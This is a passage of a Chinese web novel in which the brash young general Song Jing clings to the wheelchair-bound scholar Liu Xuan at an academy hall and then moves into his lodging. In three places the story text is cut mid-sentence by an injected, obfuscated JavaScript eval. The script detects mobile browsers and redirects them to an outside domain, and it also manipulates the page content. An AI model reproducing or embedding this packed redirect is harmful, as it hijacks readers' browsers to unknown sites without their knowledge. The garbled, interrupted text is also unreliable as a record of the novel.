宋旌缓步至小瘪三的跟前,用靴尖轻挑起那狂徒的下巴,目光中满是不屑。 “呵呵,宋......宋爷”那小瘪三笑得一脸虚假与油腻,直叫人看得心里不适,胃里一阵翻腾。 宋旌弓起身、弯下腰,脚踩在那人半撑起的右肩上,狠狠往下一蹬,将那人踩得双臂一软,脸朝下,亲密无间地趴在了满是清灰的地面上。 宋旌微阖起一双狭长的含情目,阴冷的眸子透过余下的一条细缝,像是一只蓄势待发的猎豹,用极具震慑力的声音,沉沉问道:“汝方才在此犬吠不止,怎得?见了真老子就怂了?汝不是挺狂妄吗?” 那小瘪三哪里还敢再放肆,他现在已经被宋旌的气势给吓得抖若筛糠,连话都说不利索,只软趴趴地趴在地上,结结巴巴,不断求饶道:“宋……宋爷,我……我错了,我……” 宋旌厌弃地瞧了一眼那满是恐惧与绝望的小瘪三,在心里默默嘲笑一句:“亏他还是张御史亲自调jiao出来,一直引以为豪的嫡长子,作为朝中从三品文官之子,真是毫无文人风骨、简直是有辱斯文。” “滚。”宋旌短促的一声怒吼,像是驱赶丧家之犬,似凌冽的冬风,刺骨而寒凉。 此时,宋旌已没了耐性,他懒得跟张旭多费口舌,只一抬脚,便转身走向石阶下的柳悬。 “柳哥哥~”宋旌这一声叫得清脆,也极为亲切,众人却听得心肝发颤。 在旁人眼里,方才还形若罗刹的宋旌居然一反常态,心情愉悦、步履轻快,像是被明朗的春日给镀上了一层柔光,变得异常温柔,“娘亲让我给你带了百合银耳粥。” 宋旌话犹未了,那像狐狸一样狡黠的柳悬却偷偷掠过众人,似一阵风,将孤影孑然的他抛在原地,自个儿先一步去了。 这边,众人仍惊愕于宋旌那有悖常理的言行,正细细回忆两人的关系究竟是从何时起变得这般亲密? 那边,当宋旌毫不避讳,大喊出“哥哥等等我!”时,众人又觉得有一阵凉意划过脊背,直觉汗毛倒立。 而后,便是一幕比见鬼还要令人瞠目结舌的画面chi luo luo地呈现在眼前。 那个不可一世,在盛京风光无两、威风凛凛的御赐少将军,如今竟同一只摇尾乞怜的小狗,一般无二,狗腿子似得,追上并不搭理他的宋旌,又殷勤地替他推动轮椅,每一个动作都透露出小心翼翼。 “哥哥上坡不方便,前面的路还是让我带你走吧。”宋旌的五指轻轻搭在椅背的握把上,指尖像过电一般,微微颤抖,动作谨慎又缓慢,仿佛他已经在心里盼这一刻盼了很久。 在某种无法言说的情绪驱使下,宋旌用极不自然的温柔语调,宛如春日里绽放的桃花,笑得一脸谄媚,讨好又宠溺,在柳悬的耳畔低语了一句:“哥哥只需将一切交予我便好。” 说完,眼中还隐有几分期待。 此刻,柳悬只觉得周身的气息都变得凝滞了,他实在不懂,他不懂宋旌说的话是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14045167|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么意思?他也不懂自己的心为何会因为宋旌那句不清不楚的耳语而跳得这般快?快得他就要喘不过气来。 是......是紧张吗?柳悬有些迷糊,他只觉得眼前这个行为诡异的宋旌像是无数头洪水猛兽,要扑向他,将他吞噬干净。 猛然间,重拾理智的柳悬撇过脸,躲开那突如其来的亲昵,一双耳廓仿佛被烈火炙烤过,红得几欲滴血,在他那双晦暗不明的眼底似有一丝恼怒与慌乱闪过,宛如一只受惊的小兽,既茫然无措,又急欲挣脱这令人窒息的束缚。 只不过......说到底,这腿脚不便的身份在眼下还是变成一道令他不得动弹的枷锁,让他即便是如坐针毡,也万不敢轻举妄动,只得默默忍受内心的煎熬与无奈。 “宋旌……”柳悬轻唤一声,低沉而沙哑的声音仿佛被一层厚重的雾霭所遮盖,让人无法轻易窥探他的内心。 “哥哥有何吩咐~”宋旌将自己的姿态放的很低,他深弯下腰,几乎是贴在柳悬的脸侧,笑问他。 柳悬的身躯在感受到宋旌的靠近时瞬间绷直成一条线,心中又拉响了警铃,柳悬想推开宋旌,可是他又不想主动去触碰宋旌的身体,仿佛那是一种禁忌。 于是,在柳悬犹犹豫豫时,某个将他搅得一团乱的罪魁祸首却是“噗嗤”一笑,一把握住了那只在空中悬停了许久的手。 宋旌将柳悬那只无处安放的手紧紧地攥在手心,蹭着柳悬发愣之际,一巴掌轻拍在自己的脸上。 “我猜哥哥定是在恼我,想着法子赶我走,不过是推也好~是打也罢!只要哥哥让我跟着你,我听凭哥哥处置便是”宋旌的脸眼巴巴地凑上去,在柳悬的手心里蹭了蹭,一双明媚的眸子像是乘着满河的星星,笑得调皮又讨打。 柳悬凝眸,望向宋旌,眼神微动,有一瞬间失神...... 柳悬的掌心被宋旌脸上的绒毛蹭得酥酥麻麻,一路痒到他的心里,沉浸在宋旌的柔情里,柳悬扪心自问,他觉得这样死皮赖脸的宋旌并不会让他生厌,他的心绪就像被雨水打破的春河,泛起一圈又一圈的涟漪。 片刻后,直至宋旌得寸进尺,握了许久都不肯撒手,惹得周围众人皆频频驻足侧目时,心绪复杂的柳悬才奋力抽回被宋旌握得发烫的手,骤然冷下脸来,出言无状道:“你我之间,何必这般惺惺作态。” “哥哥冤枉!”宋旌不满,出声辩解。 在柳悬意欲脱身前,宋旌擅自将柳悬的轮椅先调转了方向,单膝跪下,像一只落水以后,还被主人扫地出门的小狗,半蹲在柳悬面前,张开双臂,扶住两侧的把手,将柳悬禁锢在臂间,目光灼灼,仰头直视他。 宋旌神色郁郁,一脸坦然道:“我自醒来后所述所言,字字肺腑、句句真情,怎敢有半点虚言?哥哥不信,是定要我将一颗心也一同呈上吗?” 柳悬哑然,他平生第一次不知道该怎么回复宋旌的话,他更不知道宋旌眼下是真觉得委屈,还是在假装委屈,他只明白,他现在是......逃,也不能,战,也不行。 “柳兄!” 就在熙熙攘攘的人皆陆陆续续地往大殿里走时,新来的人群中有一个朝气蓬勃的面孔正探头探脑,朝柳悬挥了挥手,又踉踉跄跄地挤上前来。 来人方才离得太远,只看见了柳悬的身影,没能看见被人群遮住的宋旌。 此时,宋旌还蹲在柳悬的面前,执拗地等柳悬同他说个明白。 “宋......宋小将军?” 来人没想到宋旌这个“一等生”也还留在兰馨殿,显然十分诧异。 周屹的出现正好替柳悬解了围。 柳悬移开眼,抬头,回了声“周兄”,眉眼间尽显无奈。 如今,四周的看客早已换了一波。 周屹方才不在,不知晓两人间发生了什么事,他只是想到柳悬与宋旌的关系一直不太好,柳悬又因先父与宋将军的交情,而不得不住在宋府,处境十分微妙。 于是,在周屹见到柳悬脸上的为难之色时,便想都没想,仗义执言,道:“我们快些入殿吧,学博已经到了。” 说着,周屹就伸出手,想将柳悬推进兰馨殿后,助他脱离宋旌的纠缠。 可是他没成想,他连轮椅的边儿都还没有摸到,宋旌就一把将轮椅拉走了。 “幸有周郎提醒,哥哥在学博眼里向来品学兼优,听学是头等要事,自然不能有何差池。”宋旌将柳悬护在身前,占满了椅背后的位置,双手握实,牢牢地搭在握把上,也不用正眼去瞧一瞧周屹,迈开步子,就向内殿走去。 周屹被宋旌落在原地,他还没琢磨明白宋旌为何叫柳悬“哥哥”这件事,便见宋旌连柳悬多跟他说句话的时间都不肯给他俩留。 10.气性 兰馨殿是盛京数一数二的宫殿,幸帝顾锦城为了彰显国威,给殿内的用度都是一等一的好。 偌大的宫殿里,穹顶上绘满了极具艺术性的彩色壁画。 穹顶下,八根又高又粗的金丝楠木将房屋撑起。 那八人环抱不住的房柱上,甚至还细细雕刻了八幅栩栩如生的龙凤呈祥图。 再往下,房柱底端,人们脚下踏的是光滑如镜的汉白玉,温润、坚硬且极为完整的玉石,铺满了整整一个宫殿的地面。 地面上,放置着数百张宽阔的黄花梨木书案,每一张书案上,均刻了不同的山水花鸟图,而案上放的,皆是当今世上最上乘的文房四宝。 其中,笔是褚地的紫毫笔,纸是琅地的水纹纸,墨是槐地的松烟墨,连砚台都是荆地的洮砚。 整个兰馨殿从内到外、从上到下、从微末到显著,无一不是奢华至极。 宋旌甩开周屹,将柳悬一路推至首排书案前,又赖在柳悬的书案旁,不肯离开。 “哥哥为何偏与姓周那厮亲近?”宋旌像一只大号兔子,在柳悬身侧蹲下,将一颗脑袋搁在书案上,用下巴压住柳悬刚铺好的纸张,语气像是好奇、探寻,可脸上却写满了不高兴。 一路上,宋旌走得很急,像是生怕周屹会追上来似得,以至于他在强行把柳悬的轮椅拉扯到自己的身前时,他都没空留意柳悬当时的表情变化。 柳悬也不懂宋旌在不爽什么?明明是他被宋旌甩来甩去、转来转去,半点没把他当个活人活物对待,他还一直忍着没发火,而宋旌倒好,先质问起他来了? “少将军。”柳悬轻蹙眉心,将火气悉数压下,隐忍不发,面色不喜。 在他抬手落下时,手中那一柄镇尺稳中带狠,如一阵劲风,被他重重拍在书案上。 书案颤动间,宋旌避之不及,被震得下颌直感觉一阵酥麻。 “手是不是伸得太长了?”柳悬微微抬起双眸,掠过宋旌一眼,眸光暗沉,语气已是十分不善,满是敌意与警告。 四周嘈杂,无人注意。 柳悬用余光扫过周围众人,见众人皆一如往常,各自忙碌,他收回视线,就像方才是一阵清风拂过,从不曾发生什么。 宋旌捧起发酸的下巴,揉了揉,眼睛里蕴蓄起一层水雾,他没想到,柳悬虽然瞧上去弱不禁风,但手劲着实一点也不小。 俯仰间,宋旌见柳悬已安然自若,从笔床上拾起一根笔,又沾取了书童们刚研好的墨汁,在纸上洋洋洒洒地写着什么。 “哥哥~”刚刚才被柳悬警告过,宋旌又视若无睹般粘上来,还是一副不知收敛的模样。 仗着柳悬太信奉那套儒学礼法,不会轻易在大庭广众之下与人为恶,宋旌毫无顾忌,屡次侵犯柳悬的界限。 如果柳悬一直不肯搭理他,宋旌就会主动贴上去。 “哥哥若是不跑,手自然用不着伸那么长。”宋旌依言伸出长臂,握实柳悬右侧的扶手,霸道地将他一把带过来,两人间原有的两尺空隙也在顷刻间消失殆尽,“毕竟老抻长胳膊,也很累~” 宋旌扶住右侧的扶手,站起身,又匍匐在椅背上,“更何况......” 柳悬身上的药草味儿很香,夹杂着一丝被阳光曝晒过的皂角香与一缕若有似无的柑橘气,与室内的松烟墨香混合在一起,让宋旌扑了个满怀。 宋旌不知道是不是受了这一股气味儿的影响,不自觉地低下头,往柳悬的颈后凑了凑,意识逐渐沉迷于那一股刻入灵魂深处的气息。 “我不喜欢周二那厮。”宋旌的声音忽然变得十分慵懒,又染上了几分孩子气,用骄横、任性的口吻,低低沉沉,向柳悬耍赖道:“不过是想哥哥只亲近我一人便好。” 当宋旌的呼吸像点点星火,散落在柳悬的脖颈时,柳悬的右手一滞,也顾不得琢磨宋旌所言有何用意,笔还未搁下,便用另一只手将一片绯红、火辣滚烫的颈后遮盖得严严实实,瞪大眼睛,难以置信地看向他,语无伦次道:“胡......胡言乱语!” 柳悬被宋旌惹急了,极为愠怒,他用右手一把将宋旌推开,手中的笔墨泼洒在宋旌的脸上与黄锦圆袍的衣襟前,像极了柳悬那惊慌失措的心绪。 宋旌一时未防,被柳悬猛一推,推得踉跄一步,撞上身后的书案,将书案后正高谈阔论的人吓了一跳。 或许是宋旌的动作幅度太大,周围的人都默契十足的安静下来,连堂上睡着的老学博都缓缓地抬起头。 “宋小将军乎?”睡眼惺忪的梁学博扶了一下鼻梁上的老花镜片,仿佛才刚瞧见宋旌一样,一双眯成缝的小眼睛陡然睁圆,摇头晃脑道:“何故仍滞于此,未归家乎?” 宋旌揉捏起被桌角磕疼的后腰,又挂上他那没心没肺的笑,朝学博倾身,拱手作了一揖,不紧不慢道:“回博士,受业已数日未至,诸多学问多有不明,愿再听学片刻。” 学博闻言,惊诧得下巴险些脱臼,一双眼睛瞪得好似两颗即将脱眶而出的小弹球,嘴唇微张,原地静默了一会儿,才啰啰嗦嗦地回道:“虽若此,汝宜速觅一席之地以安然坐定,悉心听讲,盖因授课之时已迫在眉睫矣。” 说着,学博抻了抻僵化的胳膊,从地上捡起一根腕粗的绳索,徐徐拉动数下。 “受业聆听博士之训诲。”宋旌又浅俯下身,向博士行了一礼。 宋旌那清醇的声音随浑厚的钟磬声在空旷的兰馨殿内响起。 方才被宋旌撞上的那张书案后,其主人很有眼力见,一听见学博所言,就急急忙忙恭请道:“宋爷请坐!” 那人高马大的壮汉在瞥见宋旌向他投去的目光时,赶紧收拾好自己的东西,麻溜起身,挪去殿后,给宋旌腾出一个位置来。 梁学博是英才院里出了名的腐儒,一辈子只专注于那书本上的一目三行,他最喜欢的人便是柳悬这般才情出众又克己守礼的儒雅书生,他最不喜欢的人便是宋旌这般狂妄自负又好勇斗狠的粗鄙武夫。 今日,或许是因为宋旌不像往常那般不知礼数、目无尊师、肆意顶撞,所以梁学博倒也没给宋旌什么脸色看。 只是堂下众人免不了在私底下交头接耳起来,纷纷猜想那三天旷课、两天发呆的宋旌到底是吃错了哪一味药?又为何会在未时散学之际,没有像往常一样,如一匹脱缰的野马,去天地间自由驰骋,反而是变得循规蹈矩、勤学好问起来? 柳悬端坐在宋旌身前,耳边有无数叽叽喳喳的声音正七嘴八舌地议论起宋旌是不是因前几日落水,受了点刺激,所以意外长成了、持重了?而柳悬不用回头,也知道宋旌正事不关己,直直盯着他瞧。 “哼”柳悬冷不丁地嗤笑一声。 他不像旁人那般天真,还真以为宋旌是转了性、开了智,突然就学乖了,他心里很清楚,宋旌骨子里是何德性。 这世上,能让宋旌乖乖坐下听他说话的人估计还没出生,就连宋言章都管教不了的混小子,又怎么可能真的循规蹈矩、勤学好问起来? 柳悬总觉得“宋旌”像他又不像他...... 就像宋旌方才在古树上躺着,翘个二郎腿、拽到天上去时,柳悬便觉得能把包子当暗器使的人除了宋旌外,别无他人...... 然而,直到刚才,在宋旌几次三番无视他的挑衅,一而再再而三地纠缠他,说些不明不白的话时,柳悬又觉得宋旌很陌生,像是一个全新的、全然不认识的陌生人。 今日,柳悬因宋旌而心绪不宁,竟十分罕见,未能专心聆听梁学博的授课。 两个时辰过去,天色渐沉。 逐渐点燃灯火的兰馨殿内,伴随古朴的钟磬声响起,众人鱼贯而入、四散而去。 不消多时,偌大的宫殿里,便只余下柳悬与宋旌两人。 柳悬本就有意躲开宋旌,甚至在周屹问他要不要同行时,不想给宋旌留一点机会的柳悬也毫不犹豫地拒绝了。 然而,当他俩一前一后,在殿内枯坐良久,直至梁学博缓缓起身,以赞许之目光审视他俩,颇为满意,再发出“孺子可教也”的感慨,旋即先行一步后,宋旌仍无去意,全然未动。 “少将军夜深不归,还一直赖在这里做甚?”夜里寒凉,柳悬的身子弱,有些扛不住了,先一步败下阵来。 因为暂时不想看见宋旌的脸,柳悬固执地坐在书案前,没有转身。 片刻后,柳悬听闻身后传来一阵悉悉索索的声响,正当他心里犯嘀咕时,一件竹月色的披风将他包裹入其中。 “自然是在等哥哥一起回去。”宋旌的声音清远、干净,从后方传来,就像是柳悬身上那件披风所特有的甘霖香,清甜而冷冽。 宋旌只说了最简单不过的一句话,可柳悬的心里却已经百转千回。 在宋旌行至他的身前,再蹲下,替他将披风系在颈下时,柳悬的眉心不由得轻轻隆起,不耐又不解道:“你现在一点也不像你,以你的性情,你必不会为了宋将军一句话就做到这般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14074836|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地步,那你又是为何要这般煞费苦心?况且你也知道,就算你一直跟着我,我也没有回宋府的打算。” 柳悬才不会信宋旌做这些都是为了完成他与宋言章的约定。 柳悬也不想再藏着掖着,他偏要瞧瞧宋旌会作何反应? 按理,若是以前的宋旌,或许早就甩袖而去,再骂柳悬一句“不识好歹”。 可是现在,宋旌只是扬唇一笑,轻飘飘地,似不甚在意般,回了个“哦”。 哦? 哦是什么意思? 是他晓得自己不会跟他回去,却依旧要来烦他,扰得他心神不宁? 还是他觉得自己跟那些可笑的人一样也看不透他,就连他为何要煞费苦心来讨好自己的缘由都猜不到? 亦或是他承认做这些都只是因为宋言章的一句话,而他柳悬的猜测仅仅是个自作多情的笑话? “你若再敢随意碰我!”柳悬的心里越想越气,他一把拽下颈间的披风,朝宋旌奋力砸去,冷声威胁道:“别说这一日,就算是一辈子,你也别想我跟你回去” 柳悬心想,既然你宋旌要用宋言章的一句话当借口,来掩盖自己的真实目的,那我柳悬同样可以用这一句话来拿捏你,偏不让你如愿以偿。 宋旌急忙接住空中飘落的披风。 初时,他也有些怔愣,还不解自己怎就将柳悬给真惹火了。 但是,转念细细一想,依柳悬那般敏感深重的性子,定是因为他刚才说的那一个字而觉得他极有可能心怀不轨。 刚才柳悬的本意就是试探,可他非但未能解开柳悬的忧虑,反而令柳悬感到敷衍。 此时,柳悬心里还存有芥蒂,自然不会天真到将一切都往好处去想,又怎么会轻易接受他宋旌这个死敌的好意呢? 思及此处,宋旌的心中一紧,连忙加快步伐,追上柳悬。 这一回,宋旌格外小心。 他在柳悬身后,与柳悬保持恰到好处的距离,既不会轻易跟丢,也不至于让柳悬感到不适。 兰馨殿外,月光如水,皎洁明亮,将盛京的上空映照得如同白昼。 柳悬沿那条蜿蜒、幽深的小径前行,目光始终在四下搜寻,却一直未见那些熟悉的身影。 飞雪不在? 六一与轻红也没有来? 今夜的一切,似乎都有些不同寻常…… “哥哥可是在寻人?” 就在柳悬心中疑虑丛生,不自觉放慢速度时,宋旌的声音再次从身后响起。 明明刚才已经警告过他!也驱赶过他! 可是他偏偏还要死皮赖脸地追上来! “宋旌!” 柳悬怒火中烧,他愤然调转方向,一双宛若水墨画般清秀的眼睛里,正燃烧着熊熊烈焰。 “你莫要太过分!” 宋旌能听出来,柳悬是真的生气了。 因为柳悬只有真的生气时,才不会说那些文绉绉的话,才不会咬文嚼字,更不会虚情假意说“休要得寸进尺”。 可是......宋旌确实也不想再将性子刚烈的柳悬给惹急了眼,他心里也很懊悔自己为何要多此一问。 事到如今,即便宋旌也不愿意瞧见自己与柳悬的关系恶化,但是让他就这样乖乖地跟着柳悬,什么也不要做,宋旌又实在是不甘心,也确实是做不到。 “若我偏要送哥哥回去,哥哥还要站起来打我不成?” “你!”柳悬被宋旌故意激惹,胸中怒气郁结,浑身发抖,一张冷白的脸瞬间涨得通红,却又因为一时语塞,所以无言以对。 “好了,哥哥别气,是我该罚”意识到自己又忍不住说了不该说的话,将柳悬气得说不出话来,宋旌心里也生出一丝愧疚与歉意。 两相沉默时,宋旌将一直紧握在手中的披风重新披在柳悬的肩上,为他抵御寒风侵袭,又轻声细语地安抚道:“气性大对你身子不好” 说罢,宋旌的指尖又轻又快,迅速在柳悬那张白里透粉的脸上捏了一下,以十分虔诚的姿态,真心恳求道:“飞雪、六一都不在,我将哥哥送到风斋就走,一刻也不会多留,可好?” 说不清楚缘由,柳悬的火就这样莫名其妙的熄灭了。 此时,他总觉得宋旌跟他说话的语气像极了母亲小时候又哄又劝,想让自己早些睡觉时的样子,而他偏偏还不反感宋旌同他这样说话,甚至连宋旌又趁机对他做出轻挑的动作来欺辱他,他都难得与他再计较。 11.同居 今日,柳悬思虑太多,终究还是乏了。 他瞧宋旌一副打定主意、死不罢休的模样,不想再继续纠缠,更不想平添事端,便还是遂了宋旌的愿。 风斋的夜里,树欲静而风不止。 宋旌与柳悬一路走来,天上虽有孤冷明月高悬,但前路依旧是漆黑一片。 方才,两人从风斋出来得急,现下皆未提灯,前路无光,只能凭月色前行。 不过好在宋旌与柳悬五感俱佳,所以两人一路走来,倒也还算通畅。 “不许进!” “我说不许就不许!” “谁要是敢强闯,我定不会轻饶了他!” 宋旌与柳悬刚行至风斋外,便见风斋的院门前火光正盛,明亮的火焰将门前乌泱泱的一群人映照得通红。 柳悬在人群中,一眼就瞧见了双手叉腰的轻红,正领着四、五个姑娘与小哥,一起横在院门前。 此时,轻红立在院门的正中央,用自己的身体摆出一个“大”字,将狭小的院门堵得满满当当。 在轻红一行人的身后,飞雪正拦住跃跃欲试的六一,苦口婆心地劝着轻红,让轻红就此作罢。 可是轻红非但不听,还如临大敌,更激动地喊话道: “谁都能搬进来!就你家主子不行!” “凭什么!?” 被轻红喊话的人,显然也很不服气。 柳悬再瞧向轻红对面,好嘛......还以为是谁来了? 结果一看,可不就是自己身后那个混蛋的党羽吗? “风斋是英才院的风斋,又不是你家的风斋,凭什么由你家公子一人住?又凭什么由你一个小丫头片子说了算!?” 轻红对面的丹良也不遑多让,他跟轻红一样,叉了个腰,摆成一个“大”字,杵在轻红对面三尺远的地方,后面跟了数十个身强体壮的家丁。 丹良一脸疲惫,又愤愤不平,若不是他家主子酉时让连松传话,命他收拾好东西赶紧搬去英才院,同柳悬一起住。他才不会上赶着来轻红面前找晦气。 气急败坏时,丹良一撸袖子,竟是摆出一副要干仗的架势,怒不可遏道:“柳轻红!我忍你很久了!凭什么你说不进就不进?今夜我就偏要进去给你瞧瞧!” 丹良这边刚放完狠话,那柳轻红便跟着怒喝一声:“你敢!” 紧接着,轻红又朝后方喊道:“六一!” 被飞雪截断在后的六一在听见了轻红的召唤后,蓄势待发,眼看就要冲上前去。 丹良赶紧往后一缩,躲在旁边直得像根木桩一样的连松身后,嘴里仍旧不依不饶地叫嚣着:“宋卫尉,你瞧他们!如此猖狂!欺主太甚!你我岂能容忍!?” 唇枪舌战时,六一已经挣脱开飞雪的挟制,一双兴奋的眸子映照出火光,看上去极为癫狂。 六一一跃,跃至连松面前,手中的峨眉刺刮过连松抵挡的刀刃,发出刺耳的金铁交鸣声,火花四溅。 “六一,上!毒死宋丹良那鼠贼!” 轻红见小小一只六一人狠话不多,上前就是干,兴奋地直拍手叫好,顺便还不忘叮嘱六一,让那小家伙替她报仇泄愤。 丹良离那激战正酣的两人最近,只见他辗转翻滚、手忙脚乱,狼狈不堪间透露出几分焦急与惊险。 六一与连松在空中挥舞兵器,带起一阵阵凌厉的劲风,如狂风中的利刃,令人胆寒。 “柳轻红!你......”丹良一边要躲避随时可能会要他半条小命的招式,一边还要分神应付柳轻红的挑衅。 一时间,叫骂声、铮铮声、金石相击时的锵锵声......混在一起,犹如疯狂肆虐的沙尘暴,携带遮天蔽日的气势,仿佛要将整个世界都吞噬其中,让场面变得紧张而刺激,令人目不暇接,心神俱震。 今夜,原本寂静的风斋院外,被一群吵吵嚷嚷的人堵得水泄不通。他们个个情绪激动,仿佛是一根根被点燃的炮仗,在院门口劈啪作响。 直到这一刻,柳悬才终于明白,为何在兰馨殿外未曾见到本应来接他回风斋的三个人。而他在扫了一眼优哉游哉的宋旌后,心底那一股不详的预感也在此时明晰,逐渐显露出其背后的真相。 “轻红。”柳悬的声音在嘈杂、喧闹的环境中显得格外轻,仿佛是夜间飘过的一缕微风,本不应该被人注意。 事实上,若是换作旁人,像柳悬这般轻声细语,恐怕早就被那震耳欲聋的叫嚣声所淹没干净,最终消散于天地间,无迹可寻。 但是,柳悬的声音还是奇迹般地穿透了重重屏障,清晰、沉稳地传入每一个人的耳朵里,让原本混乱的场面瞬间安静下来,连先前隐隐有些失控、行事乖张的六一都乖巧地收回武器,像只被驯服的野狼般,等候着柳悬的指令。 “公子!”最先发现柳悬的人,依旧还是那个最在意他的轻红。 轻红努力拨拉开挡在面前的众人,一脸欣喜,一路小跑至柳悬的身边,焦急地询问道:“你何时回来的?” 问完,轻红才后知后觉地意识到天色已晚,柳悬应当早已散学。 想到此处,轻红有些忐忑,她不由得捶胸顿足,变得垂头丧气。 极度内疚之下,轻红只得又将这笔账算在了害她犯下大错的丹良头上,以此来减轻心中的负罪感。 “欸欸欸——你们怎么就进来了!” 这边,轻红刚离开阵地片刻,那边原本固如金汤的姑娘、小哥们便因为群龙无首而溃不成军。 瞧见宋旌也到此处后,鬼机灵的丹良一瞅准机会,就像一条滑溜溜的泥鳅,招呼上几个家丁,蹭轻红不在院前,且六一不敢轻举妄动的间隙,迅速着手,开始往风斋里搬东西。 “欸!!!”轻红大喝一声,朝丹良发出一声略带威胁意味儿的警告,但是仅凭这一声还远远压制不了丹良的念头。 在注意到丹良正乘虚而入后,轻红那一门心思又不自觉地被院门前的动静所吸引。 “他们意欲何为?”柳悬明知故问。 虽然在瞧见丹良时,柳悬的心里就已经有了几分猜测,可是轻红却看不懂眼下的局势,还一心想要为他出头。 柳悬为了让轻红将余下的心思都放在他的身上,别老想去主持大局,企图用蚍蜉之力撼动参天大树,他又追问道:“为何夜已深沉,仍有诸多宋府家丁在此?” “他们......”轻红看向门口,看见来来往往的家丁正忙得不亦乐乎,她只觉得自己像是打了一场败仗,心情甚是不好,“他们说......” 一脸愤愤然的轻红心有不甘,却又不得不接受自己已经不能再跟丹良争个高下的事实,正当她满腹委屈,意欲向柳悬倾诉此前种种时......一直沉默、从未言语的宋旌却抢先她一步。 “他们方才已然提及,”宋旌巧借轻红的身份,模仿轻红的口吻,将轻红原本想说的话接了过来,娓娓说道,“少将军将迁入风斋,此乃院内管事亲允之事,管事已安排少将军下榻于柳公子隔壁。” 言罢,宋旌行至轻红与柳悬之间,迎向月光,勾起一抹温柔的浅笑,将身后的轻红遮得严严实实,满含期待的目光直直地望向柳悬,轻声道:“哥哥有不明之事,何需去问旁人?哥哥若问我,我必知无不言。” 旁人? 好一个旁人! 柳悬不是傻子,丹良既已言明“风斋不是他柳悬一个人的风斋”,他又岂会揣测不出丹良一行人的来意? 可是宋旌憋了一下午都没说…… 方才在兰馨殿外,还眼睁睁瞧着柳悬四下寻人,甚至故意问他“可是在寻人”? 柳悬想来,宋旌怕是蓄谋已久。 如今,柳悬之所以要向轻红多询问那两句,无非是出于他的一番苦心,希望轻红能摒弃那些无谓的争端,尽早认清眼前的局势罢了。 柳悬不动声色,移开视线,平静地注视起门前那数十盏高悬于顶的府灯,几个火把像一条断断续续的火蛇,游走在风斋内外。 轻摇轮椅,柳悬错开身前的宋旌,故意不去瞧他。 宋旌以为柳悬见到这一幕,必然会勃然大怒,再厉声质问他:“方才不是说,送到风斋便走,一刻不会多留?此为何意!?” 亦或是冷笑一声,斥责他,“宋旌,你就是个骗子!不达目的誓不罢休,只会仗势欺人,戏耍于我,你说的话,我以后一个字也不会信!” 可是...... 什么都没有发生, 柳悬只是淡然处之,轻而易举就接纳了当前的状况,连一丝一毫的抗拒与挣扎都不曾流露。 宋旌见柳悬视若无睹,不再理他,他按耐不住,又上前一步,用宽大的手掌覆盖住柳悬用于拨动木轮的手,而后缓缓将那只手取下,包裹在自己的掌心中,轻轻揉捏。 控制住轮椅,不让它再移动,宋旌蹲下身子,紧挨着柳悬身侧,表现出一副楚楚可怜的模样,委屈地解释道:“哥哥方才不是也说过,因为上次害哥哥失足落水,爹让我自己想法子讨哥哥开心后,再接你一起回去。” “眼下,我被爹从家里赶了出来,已无家可归,才不得不投奔哥哥。” “方才哥哥都不愿我跟着,我哪敢与哥哥明说?” “若是再说起此事,惹了哥哥生气,一路无人、青石小径,哥哥还会允我同行?” “我一心为了哥哥考虑,哥哥要怨我欺瞒了你,直说便是,何故又不理睬我?” 宋旌说的情真意切、字字珠玑,就像是盼着柳悬的安慰与夸赞。 柳悬却是听得眉心一跳,头皮发麻。 “无家可归?” “不敢明说?” 柳悬的眼神晦暗不明,直逼宋旌。 好啊!当真是士别三日当刮目相看! 柳悬觉得,宋旌现在不仅“睁眼说瞎话”的本事日日见长,还将那三十六计里的“假痴不癫”用得炉火纯青。 “少将军,请慎言,圣上亲封的将军怎会无家可归?” “除皇城外,整个盛京,怕是只有少将军您愿住与不愿住之分,又何来惧柳悬不悦一说?” 柳悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14099858|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一挑眉,暗中使劲,与宋旌的力量相抗衡,他想抽回手,却没有成功,万般无奈下,他只得作罢,卸了手上的力道,冷脸瞧向宋旌,任由宋旌把玩。 宋旌闻言,紧握住柳悬的手,将柳悬往自己的方向带去,又将手肘搁置在轮椅的扶手上,身子向前探,半撑起上身,凑到柳悬耳边,用只有他俩才能听见的声音说:“话虽如此,可是我想呀......” “我一日见不着哥哥,便会愈发思念哥哥一日,若我日日见不着哥哥,又如何能讨哥哥欢心呢?” 说完,还不等柳悬发作,像是早有预料一般,宋旌先一步站起,向后退开一段距离,低沉的声音,分明带有几分得逞的炫耀,狡黠一笑,道:“索性,我便搬来与哥哥同住了” 果然,柳悬觉着,对宋旌的纵容就是对自己的残忍。 